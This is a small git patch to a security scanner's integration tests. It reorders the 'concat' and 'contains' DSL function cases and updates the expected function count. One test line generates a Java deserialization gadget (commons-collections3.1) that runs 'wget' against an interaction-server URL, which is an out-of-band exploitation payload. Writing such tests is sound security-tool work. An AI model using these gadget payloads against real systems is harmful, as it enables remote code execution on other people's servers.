From 286e27510dacb4043458367f50df7ee1c8eea1e9 Mon Sep 17 00:00:00 2001 From: forgedhallpass <13679401+forgedhallpass@users.noreply.github.com> Date: Mon, 17 Jan 2022 13:50:42 +0200 Subject: [PATCH] test: introduce 'concat' DSL function * correct order and number of expected results --- integration_tests/http/dsl-functions.yaml | 4 ++-- v2/cmd/integration-test/http.go | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/integration_tests/http/dsl-functions.yaml b/integration_tests/http/dsl-functions.yaml index 5d7c1847..f52a3b80 100644 --- a/integration_tests/http/dsl-functions.yaml +++ b/integration_tests/http/dsl-functions.yaml @@ -14,8 +14,8 @@ requests: 02: {{base64(1234)}} 03: {{base64_decode("SGVsbG8=")}} 04: {{base64_py("Hello")}} - 05: {{contains("Hello", "lo")}} - 06: {{concat("Hello", "world")}} + 05: {{concat("Hello", "world")}} + 06: {{contains("Hello", "lo")}} 07: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} 08: {{gzip("Hello")}} 09: {{hex_decode("6161")}} diff --git a/v2/cmd/integration-test/http.go b/v2/cmd/integration-test/http.go index a95cea55..e69c8f36 100644 --- a/v2/cmd/integration-test/http.go +++ b/v2/cmd/integration-test/http.go @@ -224,7 +224,7 @@ func (h *httpDSLFunctions) Execute(filePath string) error { } totalExtracted := strings.Split(submatch[1], ",") - numberOfDslFunctions := 53 + numberOfDslFunctions := 54 if len(totalExtracted) != numberOfDslFunctions { return errors.New("incorrect number of results") }